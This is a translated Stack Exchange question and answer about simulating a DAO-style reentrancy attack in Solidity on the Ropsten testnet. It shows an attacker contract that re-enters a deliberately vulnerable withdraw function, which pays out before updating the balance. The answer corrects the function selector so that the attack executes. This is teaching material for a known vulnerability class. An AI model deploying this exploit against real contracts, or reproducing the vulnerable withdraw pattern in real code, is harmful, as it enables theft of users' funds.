Solidity

模擬 DAO 遞歸/重入攻擊

  • July 30, 2018

試圖模擬攻擊。

在我的攻擊合約中:

 function attack() public {
   target.call(bytes4(keccak256("withdraw()")),amount);
 }


 function() payable public {
   if (msg.sender == target) {
       attack();
       }
 }

目標易受攻擊的合約:

function withdraw(uint256 _value) payable returns (bool success) {
       if (balances[msg.sender] < _value) return false;
       msg.sender.call.value(_value)();
       balances[msg.sender] -= _value;
       total -= _value;
       return true;
   }

當我呼叫第一個攻擊函式時,事務中出現錯誤。

我該如何調試?

我在堆棧跟踪中看到了一個 Revert。

我確實驗證了智能合約的餘額等於我嘗試提取的金額(100000000000000)

在此處輸入圖像描述

https://ropsten.etherscan.io/tx/0xdf3821e85520549684c121e0786bad1a6b26de00c7a2c659a042d634196a7bba

Although one or more errors occured [Reverted] contract execution completed

在您的程式碼中,該行:

target.call(bytes4(keccak256("withdraw()")),amount);

應該:

target.call(bytes4(keccak256("withdraw(uint256)")),amount);

希望這對您有所幫助。

引用自:https://ethereum.stackexchange.com/questions/55429